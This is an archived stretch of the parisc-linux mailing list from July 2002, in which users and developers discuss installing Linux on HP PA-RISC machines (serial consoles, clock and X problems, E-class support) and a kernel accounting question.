	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15314

Humm...

We would so to have a look in more details the terminal setup (baud rate 
9600, flow control ,...) I will give you my setup next week (except if 
some one else could give you those details in the mean time).

Joel


Alex Green wrote:
> ok thanks,
> 
> i've got a serial term connected, but the when the installer i get screen
> corruption, I have tried vt52, vt100, vt102 and hp.  I have the same result
> on all.
> 
> I've got a HP 700/96 Teminal.
> 
> Thanks again
> Alex
> ----- Original Message -----
> From: "Joel Soete" <joel.soete@freebel.net>
> To: "Alex Green" <alexdgreen@hotmail.com>
> Cc: <parisc-linux@lists.parisc-linux.org>
> Sent: Thursday, July 04, 2002 4:51 PM
> Subject: Re: [parisc-linux] Installing on C3600
> 
> 
> 
>>
>>Alex Green wrote:
>>
>>>[....]
>>>
>>>
>>>
>>>>>If it is a hp terminal, you can change the emulation. It depends of the
>>>>>terminal type but you can have a look in your user guide or test (but I
>>>>>think that would request severall reboot) the emulation nearest vt100
>>>>
>>>IIRC.
>>>
>>>
>>>>>Once you have found the right emulation, try first the more stable
>>>>>32-bits kernel (IIRC if you unplug ps/2 or usb mouse and keyboard, the
>>>>>kernel will switch to serial console on port 1).
>>>>
>>>>Another good solution could also be to run minicom as console emulation.
>>>
>>>
>>>So, should i set the terminal type to be VT102 IIRC or just VT102?.. the
>>>terminal is a proper HP Serial Console.
>>>
>>
>>Sorry I have not any material neither doc to help you right now. Next
>>week I will be back to office and more accurate details for your help.
>>
>>
>>>Is it possible to use the STI Console ( Which I believe to be the
>>
> Graphics
> 
>>>Adapter Console) to start the installation?
>>>
>>
>>Let first try to build a build a system wit serial console, than you
>>would be able to choose install a more recent kernel
>>(ftp://ftp.parisc-linux.org) to see if you can use STI (IIRC Standard
>>Text Interface) with your Graphics adapter).
>>
>>So yes STI give you actually a text interface for your console on your
>>Graphical adaptor through fb (Frame Buffer) support.
>>
>>
>>>Thanks for the help
>>>Alex
>>>
>>
>>See you later,
>>Joel
>>
>>
>>_______________________________________________
>>parisc-linux mailing list
>>parisc-linux@lists.parisc-linux.org
>>http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
>>
> 
> 
> 
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
> 





From - Thu Nov 08 21:23:24 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thibaut VARENE <varenet@esiee.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Linux on HP9000/E25 ?
Date: Thu, 4 Jul 2002 17:28:05 +0200
Lines: 24
Approved: news@gmane.org
Message-ID: <A3191AF2-8F62-11D6-B92C-0030656F07A2@esiee.fr>
References: <63FDFE424494D411965B009027D0E4FB0206124F@mtrmes01.montrouge.eur.slb.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v482)
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416621464 9937 80.91.229.3 (22 Nov 2014 01:57:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:57:44 +0000 (UTC)
Cc: "'parisc-linux@parisc-linux.org'" <parisc-linux@parisc-linux.org>
To: "SEMETEYS Raphael - MTR ( rsemeteys@mtr.sema.slb.com )" <rsemeteys@mtr.sema.slb.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jul  4 09:28:14 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mail.esiee.fr (mail.esiee.fr [147.215.1.3])
	by dsl2.external.hp.com (Postfix) with ESMTP id E384D486F
	for <parisc-linux@parisc-linux.org>; Thu,  4 Jul 2002 09:28:13 -0600 (MDT)
Original-Received: from npyu.esiee.fr (npyu.esiee.fr [147.215.7.13])
	by mail.esiee.fr (Postfix) with ESMTP
	id 056DE49BE4; Thu,  4 Jul 2002 17:28:06 +0200 (CEST)
In-Reply-To: <63FDFE424494D411965B009027D0E4FB0206124F@mtrmes01.montrouge.eur.slb.com>
X-Mailer: Apple Mail (2.482)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15315

Le jeudi 4 juillet 2002, =E0 05:31 , SEMETEYS Raphael - MTR=20
( rsemeteys@mtr.sema.slb.com ) a =E9crit :

> Hi there,
>
> I'd like to know if somedy already got througth installing Linux on a
> HP9000/E25 server.
Well, nothing that I heard of.
Anyway, Christoph Plattner is working on his E55, but with no real=20
success (eh Christoph ? :)
We are actually working on E35, with nothing more than booting the=20
kernel via network, and no real success.
> I'm trying to convinced my boss to do so but I'd like to know possible
> limitations or known problems before beginning any installation.
errr; looks like E-class wasn't a good choice :)
It's not supported actually, and fwiw not a priority


Thibaut VARENE
PA/Linux ESIEE Team
http://pateam.esiee.fr/




From - Thu Nov 08 21:23:24 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Juergen Braukmann <juergen.braukmann@ruhr-west.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Installing on C110
Date: Thu, 04 Jul 2002 18:41:16 +0200
Organization: Power Penguin Club
Lines: 33
Approved: news@gmane.org
Message-ID: <3D247AAC.EF70A4CA@ruhr-west.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621464 9940 80.91.229.3 (22 Nov 2014 01:57:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:57:44 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jul  4 11:07:41 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mailout09.sul.t-online.com (mailout09.sul.t-online.com [194.25.134.84])
	by dsl2.external.hp.com (Postfix) with ESMTP id 16AF34841
	for <parisc-linux@lists.parisc-linux.org>; Thu,  4 Jul 2002 11:07:41 -0600 (MDT)
Original-Received: from fwd09.sul.t-online.de 
	by mailout09.sul.t-online.com with smtp 
	id 17QA4w-0007HR-0B; Thu, 04 Jul 2002 19:07:38 +0200
Original-Received: from marvin.forty.two (520058847159-0001@[217.5.22.18]) by fmrl09.sul.t-online.com
	with esmtp id 17QA4o-03SlCCC; Thu, 4 Jul 2002 19:07:30 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by marvin.forty.two (8.11.6/8.11.0/SuSE Linux 8.11.0-0.4) with ESMTP id g64GfcZ25416
	for <parisc-linux@lists.parisc-linux.org>; Thu, 4 Jul 2002 18:41:38 +0200
Original-Received: from ruhr-west.de (localhost [127.0.0.1])
	by localhost (AvMailGate-6.13.0.1) id 25412-51443C88;
	Thu, 04 Jul 2002 18:41:16 +0200
X-AntiVirus: OK! AvMailGate Version 6.13.0.26
	 at marvin has not found any known virus in this email.
X-Mailer: Mozilla 4.78 [de] (X11; U; Linux 2.4.16-4GB i686)
X-Sender: 520058847159-0001@t-dialin.net
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15316

Hello all,

after finding that there is now a Linux for HP-PA-RISC, I downloaded the
CD and tried to install on my HP9000-C110. Install went fine (apart from
some unmotivied kernel panics and issues with my other Compaq CDROM
drive).
I an stuck with three problems, for one my german keyboard doesn't work
as expected (the <>| key in particvular). I should get round that with
kbdconfig as suggested in another mail, but I diddn't fint that program
installed. ;-( Since this is my first ever debian install, it's more a
problem of finding and reading the docs to the packet manager and some
more general info about debian systems.

More annoying is the system clock, that always puts me back to 1970. Set
the date, wrote it back to CMOS, checked it, rebooted and was back into
the seventies. The device /dev/rtc exists with the suggested major/minor
numbers from the FAQ. At this time, I enter date time after bootup like
with my first PC. ;-)

I cannot get X to run. "No screens found". I tried the good old
xf86config setup, but don't realy know what to enter for a video card
(thinking that's the problem). Help on that is also appreciated. Is
there any tool to identify hardware in general?

Juergen

-- 
===========================================     __   _
Juergen Braukmann juergen.braukmann@gmx.de| -o)/ /  (_)__  __ ____  __
Tel: 0201-743648  dk4jb@db0qs.#nrw.deu.eu | /\\ /__/ / _ \/ // /\ \/ /
===========================================_\_v __/_/_//_/\_,_/ /_/\_\



From - Thu Nov 08 21:23:25 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Installing on C110
Date: Thu, 04 Jul 2002 12:07:59 -0600
Lines: 34
Approved: news@gmane.org
Message-ID: <20020704180759.C5FF44843@dsl2.external.hp.com>
References: <3D247AAC.EF70A4CA@ruhr-west.de>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621464 9942 80.91.229.3 (22 Nov 2014 01:57:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:57:44 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Juergen Braukmann <juergen.braukmann@ruhr-west.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jul  4 12:07:59 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id C5FF44843; Thu,  4 Jul 2002 12:07:59 -0600 (MDT)
In-Reply-To: Message from Juergen Braukmann <juergen.braukmann@ruhr-west.de> 
   of "Thu, 04 Jul 2002 18:41:16 +0200." <3D247AAC.EF70A4CA@ruhr-west.de> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15317

Juergen Braukmann wrote:
> I an stuck with three problems, for one my german keyboard doesn't work
> as expected (the <>| key in particvular). I should get round that with
> kbdconfig as suggested in another mail, but I diddn't fint that program
> installed. ;-( Since this is my first ever debian install, it's more a
> problem of finding and reading the docs to the packet manager and some
> more general info about debian systems.

"apt-get" is your friend.
Once upon a time, "apt-cache search <pgm>" would tell me which package
contained the program. But I've forgotten the explanation of why
that stopped working.

> More annoying is the system clock, that always puts me back to 1970. Set
> the date, wrote it back to CMOS, checked it, rebooted and was back into
> the seventies. The device /dev/rtc exists with the suggested major/minor
> numbers from the FAQ. At this time, I enter date time after bootup like
> with my first PC. ;-)

Could the battery be dead?
You might take that out and measure it with a volt meter.

> I cannot get X to run. "No screens found". I tried the good old
> xf86config setup, but don't realy know what to enter for a video card
> (thinking that's the problem). Help on that is also appreciated. Is
> there any tool to identify hardware in general?

www.parisc-linux.org has lots of FAQ info and HOW-TOs.
Look at the boot console output to determine which type
of graphics card you have and start hunting from there.

grant



From - Thu Nov 08 21:23:25 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Installing on C3600
Date: Thu, 4 Jul 2002 20:14:55 +0100
Lines: 21
Approved: news@gmane.org
Message-ID: <20020704191454.GA971@sleepie.demon.co.uk>
References: <OE62b63Kbc9oLfgzBsc00001390@hotmail.com> <3D21DFDD.9090002@freebel.net> <3D21E354.8050701@freebel.net> <OE17H31NKzHWcQTLwR20000190f@hotmail.com> <3D2460E6.2040608@freebel.net> <OE40wtsQztQoPAzdaQY00001f9b@hotmail.com> <3D2469AB.3080102@freebel.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621465 9945 80.91.229.3 (22 Nov 2014 01:57:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:57:45 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Alex Green <alexdgreen@hotmail.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jul  4 14:15:31 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from thinkpad.home (pc4-hem11-4-cust39.bre.cable.ntl.com [213.105.90.39])
	by dsl2.external.hp.com (Postfix) with ESMTP id 91A2A4843
	for <parisc-linux@lists.parisc-linux.org>; Thu,  4 Jul 2002 14:15:30 -0600 (MDT)
Original-Received: by thinkpad.home (Postfix, from userid 1000)
	id A17249E846; Thu,  4 Jul 2002 20:14:55 +0100 (BST)
Content-Disposition: inline
In-Reply-To: <3D2469AB.3080102@freebel.net>
User-Agent: Mutt/1.3.28i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15318

On Thu, Jul 04, 2002 at 03:28:43PM +0000, Joel Soete wrote:
> Humm...
> 
> We would so to have a look in more details the terminal setup (baud rate 
> 9600, flow control ,...) I will give you my setup next week (except if 
> some one else could give you those details in the mean time).

Typically 9600 baud, 8 bit, no parity.  I usually go for no flow
control, and it hasn't caused me any problems.  vt100 or vt102 should be
fine.

What sort of screen corruption do you get?  First screen should be the
release notes.  Is it completely random, or mostly correct, or what?

Do you have a PC running linux handy?  Many people run minicom as a
terminal emulator successfully.

Richard




From - Thu Nov 08 21:23:25 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: grundler@dsl2.external.hp.com (Grant Grundler)
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] user_mode() right?
Date: Fri,  5 Jul 2002 01:55:29 -0600 (MDT)
Lines: 18
Approved: news@gmane.org
Message-ID: <20020705075529.A2C604847@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621465 9948 80.91.229.3 (22 Nov 2014 01:57:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:57:45 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jul  5 01:55:29 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: by dsl2.external.hp.com (Postfix, from userid 26925)
	id A2C604847; Fri,  5 Jul 2002 01:55:29 -0600 (MDT)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15319

Hi all,
top currently reports the following on my a500:
CPU states:   0.3% user,  99.7% system,   0.0% nice,   0.0% idle

while the system is idle. ie idle time is being accounted
to the system time.

While trying to understand this, I ran across the following comment:

/* XXX should we use iaoq[1] or iaoq[0] ? */
#define user_mode(regs)                 (((regs)->iaoq[0] &  3) ? 1 : 0)

Is iaoq[0] correct?

thanks
grant



From - Thu Nov 08 21:23:25 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Juergen Braukmann <juergen.braukmann@ruhr-west.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Installing on C110
Date: Fri, 05 Jul 2002 09:34:58 +0200
Organization: Power Penguin Club
Lines: 75
Approved: news@gmane.org
Message-ID: <3D254C22.7645EDE3@ruhr-west.de>
References: <3D247AAC.EF70A4CA@ruhr-west.de> <20020704180759.C5FF44843@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621465 9953 80.91.229.3 (22 Nov 2014 01:57:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:57:45 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jul  5 02:07:44 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mailout06.sul.t-online.com (mailout06.sul.t-online.com [194.25.134.19])
	by dsl2.external.hp.com (Postfix) with ESMTP id 2E5644854
	for <parisc-linux@lists.parisc-linux.org>; Fri,  5 Jul 2002 02:07:44 -0600 (MDT)
Original-Received: from fwd00.sul.t-online.de 
	by mailout06.sul.t-online.com with smtp 
	id 17QO7u-0007zM-03; Fri, 05 Jul 2002 10:07:38 +0200
Original-Received: from marvin.forty.two (520058847159-0001@[217.5.22.18]) by fmrl00.sul.t-online.com
	with esmtp id 17QO7g-22nkGGC; Fri, 5 Jul 2002 10:07:24 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by marvin.forty.two (8.11.6/8.11.0/SuSE Linux 8.11.0-0.4) with ESMTP id g657ZSZ27785
	for <parisc-linux@lists.parisc-linux.org>; Fri, 5 Jul 2002 09:35:28 +0200
Original-Received: from ruhr-west.de (localhost [127.0.0.1])
	by localhost (AvMailGate-6.13.0.1) id 27781-499917B6;
	Fri, 05 Jul 2002 09:34:58 +0200
X-AntiVirus: OK! AvMailGate Version 6.13.0.26
	 at marvin has not found any known virus in this email.
X-Mailer: Mozilla 4.78 [de] (X11; U; Linux 2.4.16-4GB i686)
X-Sender: 520058847159-0001@t-dialin.net
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15320

Grant Grundler schrieb:
> 
Hi Grant

> Juergen Braukmann wrote:
> > I an stuck with three problems, for one my german keyboard doesn't work
> > as expected (the <>| key in particvular). I should get round that with
> > kbdconfig as suggested in another mail, but I diddn't fint that program
> > installed. ;-( Since this is my first ever debian install, it's more a
> > problem of finding and reading the docs to the packet manager and some
> > more general info about debian systems.
> 
> "apt-get" is your friend.
> Once upon a time, "apt-cache search <pgm>" would tell me which package
> contained the program. But I've forgotten the explanation of why
> that stopped working.
> 

OK, I will look that one up. 

> > More annoying is the system clock, that always puts me back to 1970. Set
> > the date, wrote it back to CMOS, checked it, rebooted and was back into
> > the seventies. The device /dev/rtc exists with the suggested major/minor
> > numbers from the FAQ. At this time, I enter date time after bootup like
> > with my first PC. ;-)
> 
> Could the battery be dead?
> You might take that out and measure it with a volt meter.
> 

I think the battery is OK. HP-UX worked well, but I hadn't used it for a
time and didn't check. I should rule out that possibility before start
to cry. ;-) (i.e. My network connection started to work perfect after I
plugged the other machine back to the coax cable... ;-))
But things looked like that I can set the CMOS time from the boot
program (active before realy booting something) and linux telling me
something about garbled time afterwards. My suspicion is that the stored
format differs from that hwclock -w tried to use.

> > I cannot get X to run. "No screens found". I tried the good old
> > xf86config setup, but don't realy know what to enter for a video card
> > (thinking that's the problem). Help on that is also appreciated. Is
> > there any tool to identify hardware in general?
> 
> www.parisc-linux.org has lots of FAQ info and HOW-TOs.
> Look at the boot console output to determine which type
> of graphics card you have and start hunting from there.
> 

well, hunting starts with  that pice of fragment:

CORAL SGC Graphics
1280x1024-32 framebuffer

and that is not listed amongst the cards. So I add some more questions
to that:
when I get system info at the boot program, I see that I'v got no EISA
devices. The graphics card looks propetary -from the connectors side of
view-. Are the slots EISA slots? In what case, I'd fetch an old ELSA
Winner 2000 EISA from work and try with that. At least, I know how to
configure these.

Anyway, this has to wait to the next week, since I am off over the
weekend. ;-)


Juergen

-- 
===========================================     __   _
Juergen Braukmann juergen.braukmann@gmx.de| -o)/ /  (_)__  __ ____  __
Tel: 0201-743648  dk4jb@db0qs.#nrw.deu.eu | /\\ /__/ / _ \/ // /\ \/ /
===========================================_\_v __/_/_//_/\_,_/ /_/\_\



From - Thu Nov 08 21:23:25 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Hilko Bengen <bengen@vdst-ka.inka.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: HP9000/710
Date: 05 Jul 2002 12:32:58 +0200
Lines: 17
Approved: news@gmane.org
Message-ID: <87znx6zcpx.fsf__5625.86740493334$1416621466$gmane$org@ataraxia.vdst-ka.inka.de>
References: <200207031737.TAA09556@mailimailo.univ-rennes1.fr>
	<02070410352000.00440@www>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621466 9954 80.91.229.3 (22 Nov 2014 01:57:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:57:46 +0000 (UTC)
Cc: <dlorin@univ-rennes1.fr>,
	"Erling A. Jacobsen" <linuxcub@email.dk>,
	Jan Heumann <jheumann@fonts.de>,
	Paolo Ambrosio <blues@iglu.cc.uniud.it>,
	Roberto Checcozzo <r.checcozzo@libero.it>,
	<debian-hppa@lists.debian.org>, <parisc-linux@lists.parisc-linux.org>
To: ste <stemelchior@inwind.it>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jul  5 04:44:22 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.inka.de (quechua.inka.de [212.227.14.2])
	by dsl2.external.hp.com (Postfix) with ESMTP id A46194859
	for <parisc-linux@lists.parisc-linux.org>; Fri,  5 Jul 2002 04:44:21 -0600 (MDT)
Original-Received: from vdst-ka.inka.de 
	by mail.inka.de with uucp (rmailwrap 0.4) 
	id 17QQZU-00030b-00; Fri, 5 Jul 2002 12:44:16 +0200
Original-Received: from ataraxia.int.vdst-ka.inka.de
	([192.168.1.10] helo=ataraxia.vdst-ka.inka.de ident=postfix)
	by milfina.int.vdst-ka.inka.de with esmtp (Exim 3.12 #1 (Debian))
	id 17QQOj-0004WF-00; Fri, 05 Jul 2002 12:33:09 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by ataraxia.vdst-ka.inka.de (Postfix) with ESMTP
	id 4DEB21BF4E; Fri,  5 Jul 2002 12:33:08 +0200 (CEST)
Original-Received: by ataraxia.vdst-ka.inka.de (Postfix, from userid 1000)
	id B0E941BF4F; Fri,  5 Jul 2002 12:32:58 +0200 (CEST)
Mail-Copies-To: nobody
In-Reply-To: <02070410352000.00440@www>
Original-Lines: 14
User-Agent: Gnus/5.0808 (Gnus v5.8.8) XEmacs/21.4 (Honest Recruiter)
X-Scanned-By: AMaViS at a badly configured site.
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15321

ste <stemelchior@inwind.it> writes:

> YES I got it. I finally installed the Debian GNU/Linux on my own HP
> WS (I was an HP High-Availability Engineer, but I had always worked
> on HP9000 Servers and I never tried to install Linux on my
> HP9000/710 the last few days!). I am too excited!!! well the base
> system is well installed now, tonight I am going to proceed with the
> other useful pkgs. 

I went to the Linux Porters' booth at LinuxTag 2002 in Karlsruhe with
a 710, but we were not able to install the system. The installer
booted fine, but it hung when it tried to access the hard drive.

-Hilko




From - Thu Nov 08 21:23:25 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Bruno Vidal <bruno_vidal@hpfrcu03.france.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] mem_pdc_call: how using it exactly.
Date: Fri, 05 Jul 2002 12:53:31 +0200
Organization: H.P
Lines: 52
Approved: news@gmane.org
Message-ID: <3D257AAB.D04CD0DC@admin.france.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
